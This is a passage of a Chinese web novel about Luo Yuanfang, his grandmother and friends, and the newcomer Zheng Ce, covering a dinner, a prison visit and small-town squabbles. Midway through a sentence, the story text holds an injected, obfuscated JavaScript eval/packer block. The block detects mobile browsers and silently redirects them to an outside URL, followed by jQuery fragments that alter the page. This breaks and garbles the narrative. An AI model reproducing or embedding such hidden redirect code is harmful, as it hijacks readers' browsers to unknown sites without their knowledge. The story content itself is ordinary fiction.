“滚你的。”骆淇横他一眼,又笑眯眯看着宋熙,“没注意磕到的。” “噢噢,以后还是要小心,年纪也一把了毕竟。” 宋熙关切道,转而朝车库里喊:“小策,来客人了!” 郑策出来看见骆远方的时候,两人都尴尬得楞了下。 只有江蔚云发现宝藏一样指着骆远方: “腹肌!” 骆淇看见江蔚云,立马嗅出八卦的味儿,笑着问:“谁家小孩儿,这么可爱?” “我家的。”郑策不耐烦道。 一想到之前见面,两人都认识自己,还一直装傻,非常不爽。 两人瞪大眼睛惊讶地看向她。 “我姐大女儿的孩子,出了那档子事,就郑策带着了。” 宋熙连忙解释。 两人又回过神来同步点了点头。 骆乘光个不靠谱的,丢在抗战里,活不到三秒就得嗝儿屁。 姨妈和亲妈差别还是有点大吧。 来之前,骆远方听骆淇说了郑策家的事,大概是煤气中毒,只活了两个小孩儿。 造孽啊,骆淇其实已经有些不忍心了。 而郑策本意也不是讨什么说法,纯粹想恶心一下韩忠夏。 没想到这人平日里称自己是一家之主,事情追到门口了,竟把宋熙推出来抗事。 呸,富顺豆花都没他懦。 几个人一同寒暄,郑策大概明白,房子是卖给骆淇的,手续上确实有瑕疵,但她没功夫再追究这些。 她自己的人生还一团乱麻呢。 于是基本表示妥协后,饭桌上还算吃得愉快。 真像是老友团聚。 宋熙说最近高铁修建又有了新投资,再动工就快了。 骆淇又把她环球旅行的宏伟蓝图描述了一番。她不吃牛肉,又触景生情牛帮她们那一辈干过活,老了不能忘恩负义,佛曰心诚则灵等等。 江蔚云吃吸乐棒糖的时候,骆远方正一脸不理解地看着她。然后江蔚云每种颜色分了他一根,他费半天劲也没吸出来,一气之下全扔了。 什么狗屁零食! 除此之外,骆远方在饭桌上一言不发,随时有种掀桌的架势。 旁边的郑策倒是一上桌就开吃,他还没动几筷子,身边人已经打饱嗝了。 “你不烫吗?”骆远方难以置信地看着她,终于在饭桌上发出第一句疑问。 郑策回味了下,吧咂嘴,“还好?” “哎哟你俩这样算来是同学啊,加个联系方式,以后在学校也可以相互照应着。” 骆淇忽然提点道。 拂不了老太太的面子,骆远方认命地打开名片二维码,郑策也一眼不愿多看,扫了码就将手机揣回兜里。 骆远方咧咧嘴。跟他有毒似的,至于吗? 骆老太太性子泼辣,也直爽得很,相处起来非常轻松,一顿饭几乎没停过嘴。 走的时候看见郑策和江蔚云去车库,忙道:“大晚上的不用送了,我们走回去消消食。” “……她们。” 宋熙看了眼车库亮起的灯,有些艰难道,“住那儿,家里房间不够了。” 三个人,一人一间,当然不够了。 “啊这样。”骆淇声音小了下来。 路过车库时,看了眼,没再说话。 “这个郑策被饿过一样,吃饭像是有人在跟她抢似的。” 回去的路上,骆淇评价道,“竟然住车库,这宋熙两口子还真是脸大。” 说到这里,她忽然扇了骆远方胳膊两巴掌,“都说了对女孩子温柔点,风度,风度呢!你饭桌上丧着批脸给谁看呢?” “不是你让我别给好脸色,显得我们家容易欺负么?” 骆远方护痛着一边躲一边瞪她,“她也不是那么容易欺负的,人用法律武器逮罪犯的时候,你还在公园里讨论白菜降价呢。” 骆远方心里起码还怀揣着少年人对公平正义的渴求,知道自家这件事不占理,有些过意不去。 他本意是吓唬吓唬骆淇,让骆淇不如赔点钱,没想到骆淇忽然感叹: “可怜的孩子。我看屋里的行李箱都没打开,在车库肯定住不下去了……要不把那间卧室给她们?顺带着照顾下,以后也理直气壮些。” 骆远方觉得他真是搬起石头砸自己的脚。 骆淇又叹:“那孩子吃饭吃得太急,让我想起我妈,她们那一辈,总是吃不饱饭。现在生活好了,怎么还有这样的孩子呢……” “打住!”骆远方抬起尔康手,“这倒也不必……” “人在我们家的时候,不让我上楼,怕人下不来台。又明示暗示要我来他们家看看情况,你不是这个意思吗?惺惺作态。” 骆淇斜她一眼,一脸看破的表情,拍拍骆远方。 “没事,我孙子重情义是好事,这个女孩儿我罩定了,花坛那群奶奶都是她的后备军。接过来,一起住!” “给她们住?”骆乘光听见这个大胆的决定时,感觉肝儿颤。 “你们知道她下午抱了个什么进屋吗?一罐子骨灰!” 骆淇闻言沉默了下,更心疼这姑娘了。 她轻拍骆远方,“就这么定了,不是加了微信吗?去问问。韩忠夏肯定不会给她们好脸色的。” “真的假的?” 骆乘光还蹲在地上洗自己的衣裳,扭过头去时,听见咔嚓一声响。 “你管真的假的,我先问问你我跟你有仇吗?”骆淇一指禅顶着骆乘光脑袋。 “……没吧?”骆乘光想了想。 骆淇吼他:“那你现在洗衣服,一晚上冻出个冰坨子挂在外面,你要吃啊?” 此时,骆远方在厨房又发来电报。 “妈呀,骆淇,你孙子把碗洗了!” 骆远方一言难尽看着碗柜里还滴着水的盘子,嫌弃道:“就他两根手指洗完所有的碗的造型,你敢洗,我还不敢吃呢。” “……够了,你们俩。” 骆乘光蹲在地上深吸一口气,尽力一字一顿。 “我的冰坨子我自己穿。我洗的碗,就算敷了屎,我也自己舔,请你们,别管我。好吗?” 好不容易主动做家务一回。这些人!怎么能这么刻薄呢! “你说的。”骆淇目的达成,迅速转身朝骆远方喊,“快给人发消息问!” 电视里正巧放着彩虹糖广告:快到碗里来! 骆淇笑眯眯地看着,觉得很应景。 “知道了!” 骆远方在卧室里喊,“屁大一个地方,说话跟喊山一样,人以为我们家有什么毛病呢。” 他点开手机,聊天框显示: 您已添加了放屁如同风铃般优雅的女子,现在可以开始聊天了。 而他的头像顶着一片稻田自动发过去一句话: 【我是那个农民。】 …… 第一次加好友,开场寒暄总是尴尬的。而这两个微信名,骆远方一时分不清谁更尴尬。 好在那个农民脸皮厚。 那个农民先发制人:【握手jpg.】 一分钟,无人回应。 三分钟,无人回应。 等骆远方察觉过来时,已经对着郑策头像,落日下的架子鼓发了十分钟的呆。 操。 他把手机丢到床上,去和骆乘光抢厕所。 8. 欲擒故纵 一到冬天,气候干得就跟要蜕一层皮似的。一脱秋衣,漫天飞雪。 长头发如果披散一整天,晚上梳的时候就感觉自己跟藏獒身上的天然毛毡一样,全是结。 宋熙家的热水器不稳定,郑策洗澡的时候,感觉这热水器把她当死猪烫,敏感肌都快洗出来了。 她费劲巴拉收拾完自己,转头就在狭窄浴室的墙角看见旺盛繁衍的霉菌群,黑乎乎地自成一片森林。 这什么鬼地方? 又干又潮。 把江蔚云也里里外外涮一遍,折腾下来快半夜了。她点开手机,第一排就是那个农民伯伯的消息。 郑策下意识以为加了个卖农产品的广告销售。 点进农民伯伯朋友圈,还是熟悉的中老年发酵风味,清一色的推文链接。 -百搭丝巾,草原打卡拍摄百种姿势任你挑选。 -冬吃萝卜夏吃姜,这点一定要记牢。 -大蒜大葱吃了嘴臭是什么原理? 最新的一条是今晚发的:吃饭太快对身体有哪些害处? 郑策怀疑骆远方把自己工作号给她了…… 盯着商务风浓重的握手表情沉思了三秒,她直接退了出去。 什么毛病! 什么教养! 一直到早上那个放屁优雅的女子也没回消息。 骆远方眯缝着眼皱眉看了看手机,一把拉过被子,企图用闷死自己的方式再昏迷过去。 “给你三秒。”骆淇在门口用开挖掘机的架势砸门,“不起床今天就把你粘床上!” “三二一。”她用三分之一秒时间不到数完了三个数,直接冲了进去,和骆远方抢被子。 “乘光都出门两小时了,起来,骆家不养闲人!” “哎嗨呀。”骆远方幽怨地爬起来,“你这三秒被鬼撵了么。” “你管我。” 骆远方坐起来但眼睛还是闭着的,骆淇一把捏住他鼻子,阻隔空气诊疗法。 “今天本来要去牢里送东西,你回来了你去。” “我不想去。” 骆远方顶着鸡窝头,睁开一只眼睛看她,被捏着鼻子发出懒羊羊的声音。 “我是为睡觉而生的高贵的羊,可不是沸羊羊能比的。” “哎哟,再卖萌我抽你丫的。” 骆淇连忙松手,又把食指和拇指在骆远方睡衣上擦了擦。 “你爹你不去谁去,上回是乘光去的,这回你去。” 骆淇想了想,又语重心长说:“远方啊,有些事不能一直回避。一直不去面对,就会一直过不去,你知道我意思吧?” “哎呀我去去去。”骆远方无奈应下。 “别骂脏话。” “我……” 再从厕所收拾好出来时,又恢复了厌世欠抽的样子,他在骆淇准备的东西里扒拉。 “你买的这衣服有拉链带不进去,这个有束带也不行,还有这个……” “我重新去买两件,再买些吃的。” 他抬头对上骆淇毫无内容的目光,瞬间闭嘴,去找药箱。 “昨天郑策吃太快,带得我都上高速了,一定没嚼碎,现在肚子里都是实心儿的。” 刚拿到消食片,两人隔着门板就感受到了门外两位不速之客的热情。 “骆哥,我来看你啦!还有何,柯老师也来啦!” “通风报信呢你。” 还没开门,又听见柯言的训斥:“你这头发都快扎眼里了不疼吗?我每次转头都以为惹上了什么不干净的东西,吓死我了……” “柯老师,您怎么来了?” 骆远方把门打开,楞在原地。 然后被骆淇给侧转九十度,让开路,两人成迎宾队形迎客,骆淇笑道: “老师过年还跑一趟,辛苦了!” “没事,过来了解了解情况。” 柯言把手里的东西递过去,“上回骆奶奶说要去探视,我知道规矩挺多的。帮着带了点衣服还有年货,你们看看能不能用。” “您不会看上我爸了吧?” 骆远方接过来,是件羽绒服,而且一看就不是用劣质飞丝以次充好的那种。 骆淇给了他一脚,又对柯言身后的安城北说:“哟,今儿暴发户也光临寒舍,怎么伴手礼都没有?” “奶奶,我就是送您的礼物,高兴不?” 安城北人如其名,富乐之美丽者也,长着一张最秀气的脸,干着最狠的事。 他比骆远方矮一届,也是体训特长生,实心球铅球种子选手,徒手捏西瓜根本不在话下。 但他特长了一年就不堪重负,决定普通一回,于是早于骆远方转进了柯言的班。 这不恰好又同班了嘛,他来提前认亲。 “奶奶你可不太厚道,到处去旅游,我也没见到半个礼物呢。” 一听没礼物,骆淇顺手就要关门,还好这小子脸皮厚,伸脚一挡,也蹭了进来。 “哎别关啊,奶奶你这日子过得太潇洒了,我都想退休了都。” “潇洒的前提是,你能够不担心明天流落街头饿死。”骆远方开门招呼他进去,“你不知道我们过的是什么太平狗的生活。” “你吃什么呢?”安城北看他,吃货的注意力被瞬间转移。 “给我来点。” “……健胃消食片。” 骆远方楞了瞬,拿着盒子在他面前晃。 “整一颗。” 安城北抬抬下巴。 “消食片,不是零食。”骆远方有些震惊地看着他,强调道。 安城北也不耐烦,看着他,一副理所当然且脑子不太聪明的模样。 “知道,给我整一颗。” 骆远方一脸同情地直接给了他一盒。 客厅那边骆淇又喊:“远方过来,柯老师说要你写两幅对联回去贴着,你可长脸了。” 看过去,茶几上已经平铺好了一层毛毡垫,红色对联纸剪裁工整按顺序摆放着,墨水和毛笔甚至都备齐了。 这些人是不是都有点大病…… 上门来讨健胃消食片,来要手工对联…… “柯老师您还真是……会利用资源。” “滚一边儿去。” 柯言笑着边看他运笔,边唠叨,“我就是觉得骆远方搞体育那阵,底子就不差,还是不要浑浑噩噩又一年的好。” “是是是。”骆淇一个劲儿点头。 “保留学籍那边,我都沟通好了,你们放心就好。” 柯言趁安城北不备,一把把他头发帘给薅成中分,任凭安城北瞪着,继续说: “这学期还有个Z大退学的高材生要复读,你们可以搭个伴儿。” 笔尖有力顿下,收束干脆利落。“是,叫……” “谁啊妈呀?” 安城北声音嘹亮想唱就唱,打断他时,调子本着青藏高原就去了。 “反向高考移民吗?没苦硬吃的神经病吧这是!” 骆远方想用毛笔塞住他的嘴…… 安城北家里对他要求不高,算是个难得平庸又幸福的小孩,导致这狗日的说话有时候不会过脑子,但心态确实好得出奇。 “你又懂了。” 柯言觑他一眼,随即叹了口气,“那孩子也是不容易,你嘴巴给我注意点。班里还口无遮拦,我就给你撕了。” “还有你骆远方,让你找我,偏不来,又在家里等着。钓鱼呢您?你这欲拒还迎的姿势,搞得我很为难啊。” 这次辍学又复读的事麻烦了柯言太多,骆远方对她是心怀感激的。但此时也忍不住瞪大眼睛,“……什,什么欲拒还迎,老师您别乱说好嘛。” 柯言抱着手臂看他,“那好,你这六个月干嘛去了?” 有一瞬间,骆远方都有些怀疑自己的耳朵,是不是听错了。 回来后,遇见的所有人都回避着这个问题。似乎他能回来就万幸了,对他之前的经历闭口不提。 或许担心伤口还没结茧,或许害怕旧事重提。 被柯言冷不丁提起,像是拉开门被迎面北风兜了一脸,刺骨寒气冻得他一哆嗦。 其实知道也没什么关系,就是感觉离家出走有些矫情,有损他的硬汉形象。 “唉,你……” 柯言看着他出神的样子,叹了口气,“我听说这六个月你还在往家里寄钱,我就问一句话,干违法乱纪的事儿没?” “没!”骆远方立马道。 “回来了就尽快收心啊,你不是很有希望我都懒得跑这一趟。起码……比安城北强。” 她犹豫了下,决定伤害另一位小朋友,“不会把周烈王崩,诸侯皆吊翻译成周烈王崩溃,诸侯上吊……” 这句翻译上学期被当成名言在班里广泛传播,普及度堪比颜色小说。 虽然骆远方反应过来时,立马转身背对着他,安城北还是看见他压抑着笑的颤抖。 “笑吧笑吧。”他两眼发直,放弃治疗,“柯老师,你真的,我哭死。” 柯言笑够了,拿起骆远方的杰作对着光欣赏,“哎,真好看,回去我就贴门上。” 光透过红纸,给浓墨笔划勾勒亮色边缘,运笔间意象勾连,一气呵成。急峰处直转,顿点处遒劲。力透纸背,入木三分。 安城北也过去凑热闹,一脸不能理解:“你说你长着一副随时能在街头抡水管砸垃圾桶的模样,怎么这么高雅的书法被你掌握了?” 骆远方说:“小时候……” 骆淇有些心疼地看他一眼。 “小时候无聊,练多了,我都听腻了。”安城北翻白眼打断他。 骆远方收拾桌面道:“嗯,你这样的,没有悟性,练一辈子也达不到我的水平。” 安城北不服:“嘿我就说小时候叫你出去也不出,搁这儿弯道超我呢。当时我还担心把你闷坏了,老心疼你嘞~” “滚。”骆远方拿着毛笔对准他。 “行了,你走吧,要去探视得抓紧了,我再跟你外婆聊聊。”柯言拍了拍他肩膀。 “我也去,我陪我骆哥。”安城北积极报名。 骆远方爸爸的事不算秘密,只是没人提。一部分人是怕他,一部分人是心疼他。 但安城北是个脑残,情商为负,排除在人外。 从另一方面来说,他这种平常对待的态度,反而比任何小心保护都让骆远方感到轻松自在。 骆远方看他:“要不这爸送你?” “不用不用,你留着。”安城北笑嘻嘻道。 路上有安城北也不算坏事,听这小子像个发报机一样嘚啵嘚,至少不会一个人胡思乱想,最后烦躁到自己把自己气得七窍生烟。 人与人之间总是习惯性预设了界限,把底线亮出来横亘在面前。 但不越界的同时也会导致没人真正了解你,造成过度保护,完全疏离。 偶尔有个傻逼越界而不自知,纯粹为了陪你一下,似乎也就不那么孤独了。 这也是安城北嘴欠,却依旧能在骆远方身边活下去的唯一理由。 “你来探视过吗?” “没。” “那你觉得你爸会见你吗?” 骆远方盯着他,“你会见害你坐牢的人么?” “会。”安城北摇摇头,“我会见你的时候往玻璃上吐几口浓痰,恶心你。” 骆远方轻笑一声:“神经病啊你!” 一路上虽然气氛还算融洽,但安城北还是感受到,越靠近城郊那水泥建筑,骆远方的气压越低。 因为路边一个吃糖的小男孩和骆远方对视后,直接吓哭了。 …… “卧槽,劳驾您把脸收收吧。” 安城北一转头看见骆远方一脸阴郁,面色紧绷,薄唇不耐烦地绷成一条直线,顿时也吓了跳。 “知道了暴发户。” 骆远方从兜里掏了根棒棒糖赔给小孩儿。 “瞧不起暴发户呢?我还没毕业就能包养了你。”安城北一脸傲娇。 “求你快包养我吧。” 小男孩接了棒棒糖,还在哭,骆远方又递过去一根。 “怎么办,止不住?” 安城北无所谓道:“走呗,没观众就不会哭了。” 骆远方犹豫了下,看见男孩儿身边的长板滑板,踏了上去。熟悉了两下重量和力道,原地起跳,长板空中三百六十度翻转。 男孩儿立马停了哭声,安城北也楞在原地。 骆远方看了他们一眼,微勾唇角。 找好角度,滑过来时,一脚踩在滑板末端,原地斜立在板上,以末端为轴,连转几圈。 非常漂亮。 停下再往前滑,他脚下又是一勾,长板飞起,一个漂亮的弧线。 右手轻轻一带,板子听话地落回地上。 等两位观众反应过来,他已经滑远了。 帅。 “卧槽,哥你吓我一身冷汗。” 骆远方滑回来时,安城北跑上去,“我一直担心你要是摔了,你外婆得把我们家的钱都给讹完。” “你不会说话就把嘴缝上。” 骆远方弯腰撑着膝盖平视男孩,“不哭了啊?” 结果他一准备离开,身后又开始小声抽抽…… 骆远方无奈,只得让小孩儿坐在板子前面,带着他滑了会儿。 这个速度让他想起郑策刚回来时,他们把摩托骑出三轮的风度来。 安城北则非常兴奋地自告奋勇去旁边小卖部给两人买水喝。 但这个傻逼手机都落骆远方这儿了。 骆远方叹了口气,照顾两个低龄儿童还真麻烦。 为了避免安城北被当成小偷,他滑着板子带小孩儿去小卖部找他。 但一进门就听见男人尖酸刻薄的声音: “我天远地远从市区把货拉过来,涨点价怎么了,爱买不买!你爹走了后,你脑子也被水泡了,还有脸呆在重点班。年级倒数还跟我讲价……” 他话还没说话,领口已经被骆远方非常不客气地拎起。脚后跟都踉跄着离开了地面。 骆远方沉着脸看他。 “两个选择,第一,免费送我们三瓶水。” 男人正要反抗,他另一只手一把捏住他肩膀关节,发出两声脆响,他继续道: “第二,现在打电话给市场管理局,你说的话都录音了,哄抬物价,什么下场?” “你放屁。” “嘴臭。” 骆远方皱眉拎着他衣领往旁边支开,看了眼四周,笑道:“还卖假货。” 被发现把柄,老板有些心虚,再开口时,声音都细成公公了。 “给你们,拿走滚。” 骆远方一把推开他,眼睛盯着他没动,拧开两瓶水,在他面前横着浇了一地。 “敬你的。” 第三瓶他还没想好怎么发泄,余光里,旁边的小孩看着一地饮料竟然舔了舔嘴唇。 他于是递给了小孩。 “我刚才,没反应过来。”离 开小卖部,安城北有些讪讪道。 “我知道。” “但其实,他说得也没毛病。” 安城北有些失落,“当场要我算打折后的钱,我不一定算的出来。你们都知道我,成绩确实不行。” “嗯。” “嗯?” 骆远方停下,看着他,“我们能骂你,但是他不行。就像我们能一起骂富乐九中,但是六中的人敢骂一句,我们立马干一架一个道理。” “什么道理?” “就是我们是一伙的,内部的人是好是坏,轮不到不相干的人瞎逼逼,懂了吗?” 骆远方拍拍他的脸,叹了口气,。 “一条船上的人,一根藤上的鸟,一个坑……” 他猛然刹住话头。 “一个坑里的粪?蛆?” 安城北这种时候反应很快,他深吸了口气,释然地笑笑,“话糙点,我就懂了。” 这种毫无道理的偏爱很窝心。 “骆哥。” 他想了想又说,“我爸的事,你不用太忌讳,都过去了。就跟我对你爸的态度一样,你不要让我感受到特殊对待行吗?我真不愿意再被特殊对待了……” “行,你个傻逼。” 安城北立马笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812337|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来。“诶,就是这样,该骂骂,求你骂我,你骂我吧!” “我看你就是贱!” 骆远方笑了,他伸伸懒腰,“所以啊,放心大胆地接受我们对你毫无理由又明目张胆的偏爱吧,世界不会公平,我们更是,哪儿能对谁都好。” “哎哟,跟你们这种边界感贼重的人聊天就是累。直来直去多好啊!” 安城北这个人,好就好在自我治愈能力特别强,跟随身带着血包似的,随时准备满血复活。 沉默了没一阵,安城北又呆不住了。 “诶?“安城北想努力找话题,想了想,又说,“算了。” 过了会儿,他又诶一声,“算”字刚发了个嘶音,骆远方斜他一眼,一字一顿。 “没话说就打哈欠玩儿。” “啧,主要是我觉得有点丢人。”安城北犹豫了下,还是下定决心,“你知道镇上冒了个人出来嘛?” “我不认识土地爷。” “不是。”安城北话头开启就不会轻易结束。 “一个女的,长得倒是挺好看,之前没见过。拿着刀抢了我家小超市,我差点小命不保呢!” 说完他还拿了张照片出来,“喏,就这个夜叉,吓我三百跳。” 骆远方看了他一眼,没说话。去看手机里的照片,挑了下眉。 郑策? 这人还真是属螃蟹的,一回来就到处横着走。 原本探视完骆远方不想再听这人逼逼叨叨,看到照片又来了兴趣。 “视频还有么?” “有啊,看不太清是不是?”安城北挤眉弄眼看了会儿, “待会儿带你去店里看,妈的,老子这辈子还没被刀架在脖子上威胁过!就他妈为了个蛋黄派,我都不知道是不是该夸她……” 说是探视,骆远方其实并不想见他爹。而心有灵犀的,他爹也不想见他。 于是交接东西的手续很快就办完了。 快得像是去上供的。 知道见不了面的时候,骆远方心里说不上来是松了口气还是有些郁闷。 就像小时候一个人在家里,知道外面没人,听见脚步声还是忍不住开门看两眼。最后发现,啊,原来只是路人的心情。 明知没有希望,知道也提前接受结果,但在看到空荡荡的楼道时,还是会再次失望。 所以这一趟他是提前在心里有预期的。 唯一的变数就是安城北。 一直到出监狱门,身边的安城北不知道为什么,带人看自己挨揍都能这么兴奋。 莫名其妙的傻乐氛围连带着他也清澈了几分。 果然傻子是会传染的。 “你别犯傻啊,那个叫骆远方的小孩加了好友,也别去招惹。” 宋熙照例把郑策和江蔚云的饭端到车库里来,叮嘱道。 “他爸就是放高利贷的,跟害你爸妈那些人一路货色。入狱后他妈就疯了,神神叨叨的,自杀了。” 郑策接过饭碗,皱了皱眉,“为什么?” 宋熙奇怪道:“什么为什么?” “为什么这里的人都爱放高利贷?” 宋熙嗨哟一声,“还不是之前拆迁重建,暴富了老多人呢。突然拿到一大笔钱,不知道怎么办,来钱最快就去放贷,就这么废下去了呗。” “他们家也是拆迁户?” 郑策回忆了下骆家祖孙三人的穿着打扮,不像是藏富,更像是真穷。 “本来是的,这不败光了嘛,所以造孽啊。” 宋熙帮着收拾桌面,没看她,“还是上次那句话,能走,就不要留在这儿。” 她弯腰时,领口处露出一个小玉观音,郑策还没问,她又不好意思地收回去。 “最近股市行情又变好了,这是忠夏重新买的,之前的事就过去了,你也别在意了。” 过去了? 说得轻巧。 韩忠夏今天心情确实是好,竟然破天荒拿着一碗大蒜和葱过来问两人要不要下饭用。 郑策想起骆远方的朋友圈科普,摇摇头说不用了,不习惯。他也只是啧了声,说她们臭讲究,哼着歌儿就走了。 真的是没有隔夜的仇吗? 郑策看着宋熙满足的笑容,一瞬间有些困惑。 泼墨的白纸还真能洗干净? 都是一家人,没有什么事是过不去的,真的是这样吗。 金佛没了,当时摔瓶子爆粗口的场景还历历在目,如今施暴者大度地矮下身段,说揭过去了。 再纠缠者就会显得过于理性,被谴责说一家人之间哪要算这么清。 一个巴掌一个甜枣。 宋熙在一次次妥协里逃避着什么,还是为了大局和整个家庭在让步? 郑策有一瞬的发愣,但她很清楚地知道,自己想要什么。 远离吃人的大城市,躲起来,安稳过一生,顺带照顾好江蔚云。这就够了。 至于什么忍让,委屈,退却……她都不会再妥协,不想再咬碎牙和血吞。 去他妈的操蛋世界。 忽然江蔚云扯了扯她袖子,“小姨妈,你还想在这儿住吗?” “你呢?” 郑策有些惊讶江蔚云会聊到这个话题,她也想听听江蔚云的想法、 “我感觉这里比外面好,起码睡觉的时候不用担心有人来抢钱。” 她想了想又仰着头看她,“他们虽然有时候是挺烦的,还不懂事,但多少能帮我们一点,是吗?” 郑策笑着揉揉她的头,“你还真是比我会权衡利弊,难为你了。” 江蔚云眼里又闪着光问:“小姨妈,你还记得昨天老屋里那个哥哥吗,下回见面能不能戳一下他脸上的洞?” “那不是洞,是酒窝……” 郑策递给她筷子,“还有,不能随便戳别人酒窝……” 还有捏腹肌…… 啧。 怎么感觉自己比起江蔚云,有点亏呢。 “那能问一下他,我能不能戳吗?” “……随便你吧。” 郑策看她一眼,“打不过就跑快点。” “嗯,但是昨天来家里那个哥哥长得好凶,我肯定打不过。” “骆远方吗?” 相比他弟弟来说,骆远方确实浑身上下都在强调“我很烦,别惹”的声音。 郑策掏出手机,翻开农民伯伯的朋友圈,递给她,“你看他平时都发些什么,你就不怕了。” 她又说:“害怕是因为未知,你了解了,很多事情就没那么可怕了。” “好像确实诶。” 然后,就在她帮忙盛饭,一个不小心没防备的时候,江蔚云小可爱拿着手机一顿操作。 偏此时,宋熙又过来问郑策什么时候有空,帮忙韩俊生录个视频。 郑策好歹是寄居在人家屋檐下,饭都没吃就应声出去,还回头叮嘱了下江蔚云少玩手机。 视频就是简单的用不同大小的碗,装深度不同的水,筷子敲打,发出不同音调的声响。 郑策之前在乐器店里待过一段时间,宋熙知道她会架子鼓,物理又继承了她爸的脑子,对这方面应该手到擒来。 实际上也如此。 两分钟内她就调好了调,一手拿一只筷子,双手撑在桌边问:“打什么曲子?” “不打,玩儿那游戏的,都是幼儿园嘴炮王。” 骆远方拒绝安城北的消遣提议,打开手机,朋友圈忽然出现十几个红点。 他一头雾水点开,猜测是哪个傻逼又在他养生链接下面讨论西红柿是生吃好吃还是煮熟了好吃。 就看见放屁如同风铃般优雅的女子给他的养生链接一连点了十几个赞…… 好好好,微信不回消息,跑来朋友圈翻他历史。 ……欲擒故纵是吧? 但下一秒他就收到一条消息。 是个hellokitty的粉红表情包,对他招手。 上面一排软萌萌的字:你好啊! 操。 吓得骆远方差点把手机扔了。 这怕是喝假酒了吧? 骆远方瞪着手机陷入沉默…… 9. 郑策喜欢骆远方 “发什么呆呢。” 安城北随手从货架上取下一包泡椒凤爪和一包辣条,“想吃什么自己拿啊。” 店铺旁边,已经坏了的黑色灯管招牌上写着“真烟超市”四个大字,跟着一溜小字“本店销售纯粮烧酒”。 骆远方看了眼上面厚厚的一层灰,收回视线往五元店里面走。 店铺不宽,但进深很长,柜台边见缝插针摆了一地毯的锅碗瓢盆,再往里平行放着几排货架,货架上挂着头绳,文具这些小玩意儿。 最里面,竟然还有两张小圆桌。 是的,如果想在五元店兼真烟酒超市里面喝奶茶,吃烤肠,这里也能满足一切需求。 跟骆淇开着烟花店,入夜了还出来卖羊肉串一个道理。 物尽其用。 “远方来啦,进去玩儿吧。” 安城北的妈妈叫万杨,浅灰色开衫毛衣套深灰色过膝长裙,头发梳成一股麻花辫搭在身后,非常温柔的一个人。 “阿姨新年好。” 骆远方也轻车熟路往里走,里面还有个隔间,是休息用的。 但安城北不在里面。 紧接着厕所里传来水声。 门没关,骆远方刚走过去,就看见安城北弓腰伸着舌头在水龙头下冲刷着。 “你吃屎了?” “滚。” “咔嚓”一声,骆远方笑着给他来了张天狗接水的写真。 “你何必呢,辣到怀疑人生也不知悔改。” “我总有一天会练到吃完一包泡凤爪,气儿都不喘的。”安城北窸窣两口气,又把舌头往水柱下面晾着。 “行了啊,我不是过来看你吐舌头的。” 安城北看他一眼,走到电脑边。 “你看,就是她。” 安城北跟刚跑完八百米似的,喘着粗气,调出监控。 “丫拿刀对着我!” 刚准备放视频的时候,万杨也凑过来看热闹,听安城北这么一说,就笑个不停。 “你不坑人,人能拿刀出来吗?你看这姑娘出门前手都在抖,这也能把你吓着。” 还真是郑策,骆远方看着略显滑稽的“抢劫”视频也忍不住笑。 “你还没个女孩儿厉害,刚让算个算数就傻了……” 安城北本意是让所有关心他的人一同谴责抢蛋黄派的流氓行径,但现在看着笑得合不拢嘴的两人,只想一把砸了这电脑。 他拉着脸沉默了两秒,坐回躺椅上,拿出手机开始打游戏。 “起开,去收银台站着,待会儿我出去一趟,你守店。” 骆远方见万杨单手去提安城北胸口的衣服,扯得老长,都快把他脑袋笼罩过去,顿时觉得这人的温柔还得分对象。 万杨一边拿包,一边说:“你要是把打游戏的劲头用在学习上就好了。” 骆远方忽然有些担心地看过去,安城北才被陌生人当众羞辱了一遍,现在脆弱的小心灵不知道愈合没有。 但他担心显然是多余的,安城北头也不抬回嘴: “你以为我打游戏打得很好吗?” 诶。 还得是您牛,面皮堪比城墙拐弯儿。 “万阿姨,有小葱吗?”此时一个女孩站在门口问。 骆远方根本来不及怀疑这个五元店竟然还顺带卖菜,就认出了门口的人。 皮肤很白,五官立体,一刀切的短发长度刚好到锁骨,浅色眸子看过来,像一个精致的机械姬。 但这机械姬可是女子组短跑的记录保持者。 安城北也立马从躺椅上蹦起来,直勾勾如临大敌地看着她。 “哎哟,这阵仗,兄弟要上前线了?” 万杨看了他一眼,“吓我四百跳。” 她抚平胸口,转而笑着对女孩儿说:“有的,等着啊,我去给你摘两根。” 三个人就这么在门口成三角队形站着,谁也没说话。 要是路过一人,准得以为这里在练什么邪门功法。 万杨拿了葱直接给女孩,没收她钱,送人走了后意味不明地看着两人,“说说吧。” “说,说什么?”安城北瞅了眼骆远方。 “暗恋?情敌?爱而不得?” 万杨胳膊撑在柜台上,一副了然于胸的模样,转了转手里的杯子。 “你们这个反应,不简单。这姑娘有礼貌,长得也不错,人应该看不上你吧?” “我不认识。”安城北把我字加重音,拉长语调,示意万杨别刨根问底了。 万杨不愧是亲娘,瞬间接收信号,仰头喝了口水,一副恨铁不成钢的模样道: “这么漂亮的姑娘都不认识,你说你有什么用,就跟你手里的游戏过一辈子吧你。” “哎呀你快走吧。” 安城北揽过万杨往门外推,“去晚了就来不及了。” “我去买两件春装,倒也不用这么急……你有特殊要求吗?” 安城北向她招手,喊道:“你看着买就行!” 其实骆远方挺羡慕他们母子两的相处模式,打打闹闹又无话不说。 虽然安城北有时候卖萌嘟嘴什么的,太瞎眼睛。 但这是在精心呵护下成长的一朵儿娇花,油腻些就是肥水灌多了,也正常。 送走万杨,油花儿转头贼眉鼠眼地问:“刚才那个女孩儿……” “闭嘴。” “是不是跟你出走六个月有关?” 安城北迅速说出来。 “你透露一点点吧,弟弟我真担心你。” 骆远方犹豫了下,偏开头说:“……不是。” “嘶,那这是两件事,骆哥你越来越复杂了。” 安城北扶着下颚,虚着眼睛看他,“复杂的男人果然有吸引力。” “承让,顶多比你多几道脑沟儿。” “那你出去到底干嘛了?”油花儿开始得寸进尺。 骆远方看他一眼,叹了口气,“出去跟着一团队拍纪录片。” “哎我就知道你最有出息!” 安城北一拍大腿,“有成果吗?” “没,我拍的都不行,被毙掉了。” 骆远方面无表情看着他。 